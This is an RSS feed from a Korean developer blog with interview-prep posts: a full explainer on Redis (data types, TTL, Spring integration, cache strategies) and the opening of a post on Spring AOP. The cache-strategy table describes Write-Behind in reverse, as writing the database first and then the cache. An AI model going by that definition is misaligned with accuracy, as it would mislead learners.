<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>jaemeon's note</title>
    <link>https://jaemeon.tistory.com/</link>
    <description>jaemeon 님의 블로그 입니다.</description>
    <language>ko</language>
    <pubDate>Wed, 13 May 2026 12:43:29 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>jaemeon</managingEditor>
    <image>
      <title>jaemeon's note</title>
      <url>https://tistory1.daumcdn.net/tistory/8165929/attach/ed2701679a25458fb470beacb719413a</url>
      <link>https://jaemeon.tistory.com</link>
    </image>
    <item>
      <title>인 메모리가 빠른데 어떻게 활용해야하나요</title>
      <link>https://jaemeon.tistory.com/136</link>
      <description>&lt;h2&gt;Topic (오늘의 주제)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Redis(Remote Dictionary Server)&lt;/strong&gt; 는 &lt;strong&gt;인메모리(In-Memory)&lt;/strong&gt; 에 데이터를 저장하는 &lt;strong&gt;키-값(Key-Value) 저장소&lt;/strong&gt;이다. 디스크 I/O 없이 메모리에서만 동작해 응답 속도가 매우 빠르며, 캐시, 세션 스토어, 실시간 랭킹, 메시지 브로커 등 다양한 용도로 쓰인다.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;Why (왜 사용하는가? 왜 중요한가?)&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;문제점&lt;/strong&gt;: DB(MySQL, PostgreSQL 등)는 디스크 기반이라 조회·갱신이 상대적으로 느리고, 트래픽이 몰리면 DB 부하와 응답 지연이 발생한다. 세션을 애플리케이션 메모리에만 두면 서버를 여러 대 쓰는 환경에서 공유가 어렵다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;해결책&lt;/strong&gt;: 자주 쓰는 데이터를 Redis에 두어 &lt;strong&gt;캐시&lt;/strong&gt;로 활용하면 DB 부하를 줄이고 응답 속도를 높일 수 있다. 세션을 Redis에 저장하면 &lt;strong&gt;여러 서버가 같은 세션 저장소&lt;/strong&gt;를 쓰는 구조를 만들 수 있다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;면접 포인트&lt;/strong&gt;: &amp;quot;캐시를 왜 쓰나요?&amp;quot;, &amp;quot;Redis와 DB의 차이&amp;quot;, &amp;quot;Redis 자료 구조와 사용 사례&amp;quot;를 설명할 수 있으면 좋다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;1. Redis가 필요한 상황 (등장 배경)&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;DB만 쓸 때의 한계&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;디스크 I/O&lt;/strong&gt;: RDBMS는 데이터를 디스크에 저장하고, 조회 시 디스크에서 읽어오므로 상대적으로 느리다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;반복 조회&lt;/strong&gt;: &amp;quot;인기 상품 목록&amp;quot;, &amp;quot;조회수 많은 게시글&amp;quot;처럼 &lt;strong&gt;같은 데이터를 자주 조회&lt;/strong&gt;하면 DB에 같은 쿼리가 반복해서 날아가 부하가 커진다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;세션 공유&lt;/strong&gt;: 서버가 여러 대일 때 세션을 각 서버 메모리에만 두면, 사용자가 다른 서버로 가면 로그인이 풀리는 문제가 생긴다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;Redis를 쓰면 얻는 것&lt;/strong&gt;&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;목적&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;캐시&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;자주 쓰는 데이터를 메모리에 두어 DB 조회를 줄이고 응답 속도를 높인다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;세션 스토어&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;로그인 세션을 Redis에 저장해 여러 서버가 같은 세션을 공유한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;실시간 랭킹&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Sorted Set으로 점수 기반 순위를 빠르게 조회·갱신한다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;메시지 큐 / Pub-Sub&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;채팅, 알림처럼 실시간으로 메시지를 주고받을 수 있다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;2. Redis 핵심 특징&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;인메모리(In-Memory)&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;데이터를 &lt;strong&gt;메모리(RAM)&lt;/strong&gt; 에 저장한다. 디스크 접근보다 훨씬 빠르다.&lt;/li&gt;
&lt;li&gt;메모리 크기에 제한이 있으므로, &lt;strong&gt;전체 데이터를 Redis에만 두지 않고&lt;/strong&gt; 캐시·세션·랭킹 등 적절한 용도로만 사용하는 것이 좋다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;키-값(Key-Value) 구조&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;기본적으로 &lt;strong&gt;키(Key)&lt;/strong&gt; 로 &lt;strong&gt;값(Value)&lt;/strong&gt; 를 저장하고 조회한다.&lt;/li&gt;
&lt;li&gt;키는 문자열, 값은 문자열뿐 아니라 &lt;strong&gt;여러 자료 구조&lt;/strong&gt;(리스트, 해시, 집합, 정렬 집합 등)를 지원한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;단일 스레드 모델&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;명령 처리&lt;/strong&gt;는 단일 스레드로 동작한다. 한 번에 하나의 명령만 처리하므로 &lt;strong&gt;race condition 없이&lt;/strong&gt; 명령이 &lt;strong&gt;원자적(atomic)&lt;/strong&gt; 으로 실행된다.&lt;/li&gt;
&lt;li&gt;I/O 멀티플렉싱(epoll 등)으로 여러 클라이언트 연결을 동시에 처리한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;TTL(Time To Live)&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;키에 &lt;strong&gt;만료 시간&lt;/strong&gt;을 줄 수 있다. 시간이 지나면 자동으로 삭제되어 &lt;strong&gt;캐시 만료&lt;/strong&gt;를 구현하기 쉽다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;SET session:user123 &amp;quot;...&amp;quot; EX 3600   # 3600초(1시간) 후 만료
EXPIRE key 60                        # 기존 키에 60초 TTL 설정&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;영속성 옵션 (선택)&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;기본은 메모리만 사용하지만, &lt;strong&gt;RDB 스냅샷&lt;/strong&gt; 또는 &lt;strong&gt;AOF(Append Only File)&lt;/strong&gt; 로 디스크에 저장해 재시작 후 복구할 수 있다. 캐시만 쓰는 경우는 비활성화해도 된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;3. Redis 데이터 구조(자료형)&lt;/h2&gt;
&lt;p&gt;Redis는 단순 문자열뿐 아니라 &lt;strong&gt;여러 자료형&lt;/strong&gt;을 지원한다. 용도에 맞는 타입을 선택하면 된다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;자료형&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;th&gt;대표 명령&lt;/th&gt;
&lt;th&gt;사용 예&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;String&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;문자열, 숫자, 직렬화된 객체&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SET&lt;/code&gt;, &lt;code&gt;GET&lt;/code&gt;, &lt;code&gt;INCR&lt;/code&gt;, &lt;code&gt;DECR&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;캐시, 카운터, 세션&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;List&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;순서 있는 문자열 리스트&lt;/td&gt;
&lt;td&gt;&lt;code&gt;LPUSH&lt;/code&gt;, &lt;code&gt;RPUSH&lt;/code&gt;, &lt;code&gt;LRANGE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;최근 목록, 메시지 큐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Set&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;순서 없고 중복 없는 집합&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SADD&lt;/code&gt;, &lt;code&gt;SMEMBERS&lt;/code&gt;, &lt;code&gt;SINTER&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;좋아요 유저 집합, 태그&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Hash&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;필드-값 쌍 (객체처럼)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;HSET&lt;/code&gt;, &lt;code&gt;HGET&lt;/code&gt;, &lt;code&gt;HGETALL&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;사용자 프로필, 설정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Sorted Set&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;점수로 정렬된 집합&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ZADD&lt;/code&gt;, &lt;code&gt;ZRANGE&lt;/code&gt;, &lt;code&gt;ZRANK&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;랭킹, 실시간 순위&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;&lt;strong&gt;String — 캐시, 세션, 카운터&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;SET user:1000 &amp;quot;{ \&amp;quot;name\&amp;quot;: \&amp;quot;홍길동\&amp;quot; }&amp;quot; EX 3600
GET user:1000

INCR view:article:42    # 조회수 1 증가
DECR stock:product:99   # 재고 1 감소&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;Hash — 객체 단위 저장&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;HSET user:1000 name &amp;quot;홍길동&amp;quot; email &amp;quot;hong@example.com&amp;quot; age 25
HGET user:1000 name
HGETALL user:1000&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;List — 순서 있는 목록&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;LPUSH recent:user:1000 &amp;quot;article:1&amp;quot; &amp;quot;article:2&amp;quot;   # 왼쪽에 추가
LRANGE recent:user:1000 0 9                       # 최근 10개 조회&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;Sorted Set — 랭킹&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;ZADD ranking:game 1000 &amp;quot;userA&amp;quot; 950 &amp;quot;userB&amp;quot; 1100 &amp;quot;userC&amp;quot;
ZREVRANGE ranking:game 0 9 WITHSCORES   # 1~10위 조회
ZRANK ranking:game &amp;quot;userB&amp;quot;              # userB의 순위&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;4. 사용 사례 정리&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;1) 캐시 (Cache)&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;DB 조회 결과, API 응답 등을 Redis에 저장해 두고, 같은 요청이 오면 DB 대신 Redis에서 반환한다.&lt;/li&gt;
&lt;li&gt;TTL을 두어 오래된 데이터는 자동으로 삭제하고, 필요 시 DB에서 다시 조회해 캐시를 갱신한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;2) 세션 스토어 (Session Store)&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;로그인한 사용자의 세션 ID → 세션 데이터를 Redis에 저장한다.&lt;/li&gt;
&lt;li&gt;서버가 여러 대여도 같은 Redis를 바라보면 세션이 공유된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;3) 실시간 랭킹&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Sorted Set에 &lt;code&gt;점수(score)&lt;/code&gt;와 &lt;code&gt;멤버(회원ID, 상품ID 등)&lt;/code&gt;를 넣고, &lt;code&gt;ZREVRANGE&lt;/code&gt;로 상위 N명을 조회한다.&lt;/li&gt;
&lt;li&gt;게임 점수, 인기 검색어, 인기 글 등에 활용한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;4) 카운터 / Rate Limiting&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;INCR&lt;/code&gt;로 요청 횟수, 조회수 등을 증가시키고, TTL과 함께 쓰면 &amp;quot;1분당 N회 제한&amp;quot; 같은 제한을 구현할 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;5) Pub/Sub (메시지 브로커)&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;채널에 메시지를 발행(publish)하고, 구독자(subscribe)가 실시간으로 받는다.&lt;/li&gt;
&lt;li&gt;채팅, 알림, 이벤트 전파 등에 사용한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;5. Spring에서 Redis 사용하기&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;의존성 (Spring Boot)&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-xml&quot;&gt;&amp;lt;dependency&amp;gt;
    &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt;
    &amp;lt;artifactId&amp;gt;spring-boot-starter-data-redis&amp;lt;/artifactId&amp;gt;
&amp;lt;/dependency&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;기본 클라이언트는 &lt;strong&gt;Lettuce&lt;/strong&gt;이다. (과거에는 Jedis가 많이 쓰였음)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;설정 (application.yml)&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;spring:
  data:
    redis:
      host: localhost
      port: 6379
      password: ${REDIS_PASSWORD:}   # 비어 있으면 미사용
      timeout: 2000ms&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;RedisTemplate 사용&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;@RequiredArgsConstructor
@Service
public class ProductCacheService {
    private final RedisTemplate&amp;lt;String, Object&amp;gt; redisTemplate;

    public void saveProduct(Long id, Product product) {
        String key = &amp;quot;product:&amp;quot; + id;
        redisTemplate.opsForValue().set(key, product, Duration.ofMinutes(30));
    }

    public Product getProduct(Long id) {
        String key = &amp;quot;product:&amp;quot; + id;
        return (Product) redisTemplate.opsForValue().get(key);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;캐시 어노테이션으로 사용&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;@Cacheable(value = &amp;quot;products&amp;quot;, key = &amp;quot;#id&amp;quot;)
public Product getProduct(Long id) {
    return productRepository.findById(id).orElseThrow();
}&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;@Cacheable&lt;/code&gt;: 메서드 결과를 캐시에 저장하고, 같은 키로 호출 시 캐시에서 반환한다.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;@CacheEvict&lt;/code&gt;: 캐시 항목을 지울 때 사용한다. (예: 수정·삭제 시)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;6. 캐시 전략 간단 정리&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;전략&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;th&gt;특징&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cache-Aside&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;애플리케이션에서 캐시를 먼저 조회하고, 없으면 DB 조회 후 캐시에 넣음&lt;/td&gt;
&lt;td&gt;가장 많이 사용, 캐시 미스 시 DB 부하&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Write-Through&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;DB에 쓸 때마다 캐시에도 동기적으로 반영&lt;/td&gt;
&lt;td&gt;캐시와 DB가 항상 일치, 쓰기 비용 증가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Write-Behind&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;DB에 쓰고 나중에 캐시를 비동기로 갱신&lt;/td&gt;
&lt;td&gt;쓰기 성능 좋음, 일시적 불일치 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;실무에서는 &lt;strong&gt;Cache-Aside&lt;/strong&gt;를 가장 많이 사용하고, TTL을 두어 오래된 데이터는 자연스럽게 만료시키는 방식이 흔하다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. 주의점과 한계&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;휘발성&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;기본적으로 메모리에만 있으므로 &lt;strong&gt;서버 재시작 시 데이터가 사라질 수 있다.&lt;/strong&gt; 중요한 데이터는 Redis만 믿지 말고 DB를 원본으로 두고, Redis는 캐시·세션 등으로만 쓰는 것이 안전하다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;메모리 제한&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;메모리 크기 한도가 있으므로 &lt;strong&gt;무한히 넣지 말고&lt;/strong&gt;, TTL을 두거나 eviction 정책(maxmemory-policy)을 설정해 오래된/덜 쓰는 키를 지우도록 한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;단일 스레드&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;하나의 명령이 오래 걸리면 그동안 다른 명령이 대기한다. &lt;strong&gt;무거운 연산이나 대량의 키를 한 번에 조회하는 패턴&lt;/strong&gt;은 피하는 것이 좋다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;클러스터/복제&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;고가용성과 확장이 필요하면 &lt;strong&gt;Redis Cluster&lt;/strong&gt;, &lt;strong&gt;Replication&lt;/strong&gt; 등을 고려한다. 주니어 단계에서는 단일 인스턴스 또는 Managed Redis(AWS ElastiCache 등)로 시작해도 충분하다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;8. 예상 꼬리 질문 정리&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;Q1. Redis와 RDBMS(MySQL 등)의 차이는?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Redis는 &lt;strong&gt;인메모리 키-값 저장소&lt;/strong&gt;로, 디스크 I/O 없이 메모리에서 동작해 읽기·쓰기가 매우 빠릅니다. 주로 캐시, 세션, 랭킹에 사용합니다. RDBMS는 &lt;strong&gt;디스크 기반&lt;/strong&gt;이고, 트랜잭션·정규화·복잡한 쿼리(JOIN 등)를 지원해 영구 저장과 데이터 무결성에 적합합니다. Redis는 보조 저장소·캐시로, DB와 함께 쓰는 경우가 많습니다.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;Q2. Redis는 단일 스레드인데 왜 빠른가요?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;명령 &lt;strong&gt;처리&lt;/strong&gt;는 단일 스레드라 한 번에 하나의 명령만 실행되어 lock 없이 원자적으로 동작합니다. 실제로는 &lt;strong&gt;I/O 멀티플렉싱&lt;/strong&gt;으로 여러 클라이언트 연결을 동시에 받고, 데이터가 &lt;strong&gt;메모리&lt;/strong&gt;에 있어 디스크 I/O가 없기 때문에 전체적으로 매우 빠릅니다.&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;Q3. 캐시에 Redis를 쓰는 이유는?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;메모리 기반이라 조회·저장이 빠르고, &lt;strong&gt;TTL&lt;/strong&gt;을 줄 수 있어 만료된 데이터를 자동으로 지울 수 있습니다. 다양한 &lt;strong&gt;자료형&lt;/strong&gt;(String, Hash, List, Set, Sorted Set)을 지원해 단순 키-값뿐 아니라 리스트·랭킹 등도 캐시하기 좋습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;요약&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Redis&lt;/strong&gt;는 인메모리 키-값 저장소로, &lt;strong&gt;캐시, 세션, 랭킹, Pub/Sub&lt;/strong&gt; 등에 널리 쓰인다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;특징&lt;/strong&gt;: 인메모리, 키-값, 단일 스레드(원자적 연산), TTL 지원.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;자료형&lt;/strong&gt;: String, List, Set, Hash, Sorted Set — 용도에 맞게 선택한다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Spring&lt;/strong&gt;에서는 &lt;code&gt;spring-boot-starter-data-redis&lt;/code&gt;와 &lt;code&gt;RedisTemplate&lt;/code&gt;, 또는 &lt;code&gt;@Cacheable&lt;/code&gt; 등으로 연동한다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;캐시 전략&lt;/strong&gt;은 Cache-Aside를 많이 쓰고, TTL과 eviction 정책으로 메모리를 관리한다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;주의&lt;/strong&gt;: 휘발성·메모리 한도·무거운 명령 자제. 중요한 데이터는 DB를 원본으로 두고 Redis는 보조로 사용한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://redis.io/docs/&quot;&gt;Redis 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://spring.io/projects/spring-data-redis&quot;&gt;Spring Data Redis&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://redis.io/docs/data-types/&quot;&gt;Redis 데이터 타입 소개&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>Spring</category>
      <author>jaemeon</author>
      <guid isPermaLink="true">https://jaemeon.tistory.com/136</guid>
      <comments>https://jaemeon.tistory.com/136#entry136comment</comments>
      <pubDate>Sat, 14 Mar 2026 17:50:20 +0900</pubDate>
    </item>
    <item>
      <title>Spring_30) 관점에 따라 다르게... 보이지만은 않을수도</title>
      <link>https://jaemeon.tistory.com/135</link>
      <description>&lt;h2&gt;Topic (오늘의 주제)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;AOP(Aspect-Oriented Programming, 관점 지향 프로그래밍)&lt;/strong&gt; 는 핵심 비즈니스 로직과 애플리케이션 전반에 걸쳐 반복되는 &lt;strong&gt;횡단 관심사(부가 기능)&lt;/strong&gt; 를 분리하여 모듈화하는 프로그래밍 기법이다. Spring AOP는 &lt;strong&gt;프록시(Proxy)&lt;/strong&gt; 패턴을 활용해 런타임에 부가 기능을 적용하며, &lt;code&gt;@Transactional&lt;/code&gt;, 로깅, 권한 검사 등이 이 방식으로 동작한다.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;Why (왜 사용하는가? 왜 중요한가?)&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;문제점&lt;/strong&gt;: 로깅, 권한 검사, 성능 측정(시간 측정) 같은 코드가 여러 서비스·컨트롤러에 반복되면 비즈니스 로직과 섞여 가독성과 유지보수가 어려워진다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;해결책&lt;/strong&gt;: 핵심 로직과 부가 기능(횡단 관심사)을 분리해, 한 곳에서 부가 기능을 정의하고 필요한 메서드에만 적용할 수 있게 한다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;면접 포인트&lt;/strong&gt;: &lt;code&gt;@Transactional&lt;/code&gt;이 어떻게 동작하는지, &lt;strong&gt;왜 같은 클래스 안에서 호출하면 동작하지 않는지(내부 호출 문제)&lt;/strong&gt; 를 설명하려면 AOP와 프록시 동작 원리 이해가 필수다.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;p&gt;&lt;strong&gt;&amp;quot;AOP(관점 지향 프로그래밍)에 대해 설명해 주시겠어요?&amp;quot;&lt;/strong&gt;&lt;br&gt;&amp;quot;AOP는 핵심 비즈니스 로직과 애플리케이션 전반에 걸쳐 나타나는 횡단 관심사(부가 기능)를 분리하여 모듈화하는 프로그래밍 기법입니다. 로깅, 시간 측정, 권한 검사 같은 코드가 비즈니스 로직에 섞여 중복되는 것을 막아줍니다. Spring AOP는 주로 프록시(Proxy) 패턴을 활용해 런타임 시점에 동작하며, @Transactional이나 인터셉터 등도 이 AOP 개념을 기반으로 동작합니다.&amp;quot;&lt;/p&gt;
&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;h2&gt;1. AOP가 필요한 상황 (등장 배경)&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;횡단 관심사(Cross-cutting Concern)란?&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;여러 클래스·메서드에 &lt;strong&gt;공통으로 들어가는 부가 기능&lt;/strong&gt;을 말한다. 비즈니스 로직과는 별개지만, 여러 곳에 반복해서 작성해야 하는 코드다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;흔한 예:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;로깅 (메서드 진입/종료, 파라미터·반환값 기록)&lt;/li&gt;
&lt;li&gt;트랜잭션 관리 (&lt;code&gt;@Transactional&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;권한/인증 검사&lt;/li&gt;
&lt;li&gt;실행 시간 측정 (성능 모니터링)&lt;/li&gt;
&lt;li&gt;예외 변환·로깅&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;AOP 없이 작성하면 생기는 문제&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-java&quot;&gt;@Service
public class OrderService {
    public Order createOrder(OrderRequest request) {
        // 매번 로깅 코드 반복
        log.info(&amp;quot;createOrder 호출, request={}&amp;quot;, request);
        long start = System.currentTimeMillis();

        try {
            Order order = orderRepository.save(...);  // 핵심 로직
            log.info(&amp;quot;createOrder 완료, orderId={}&amp;quot;, order.getId());
            return order;
        } finally {
            log.info(&amp;quot;실행 시간: {}ms&amp;quot;, System.currentTimeMillis() - start);
        }
    }

    public Order getOrder(Long id) {
        log.info(&amp;quot;getOrder 호출, id={}&amp;quot;, id);
        long start = System.currentTimeMillis();
        try {
            Order order = orderRepository.findById(id);  // 핵심 로직
            return order;
        } finally {
            log.info(&amp;quot;실행 시간: {}ms&amp;quot;, System.currentTimeMillis() - start);
        }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;문제점:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;중복&lt;/strong&gt;: 로깅·시간 측정 코드가 메서드마다 반복된다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;가독성 저하&lt;/strong&gt;: 핵심 로직과 부가 기능이 섞여 있어 의도가 불명확하다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;유지보수 어려움&lt;/strong&gt;: 로깅 형식을 바꾸려면 모든 메서드를 수정해야 한다.&lt;/li&gt;
&lt;/ol&gt;
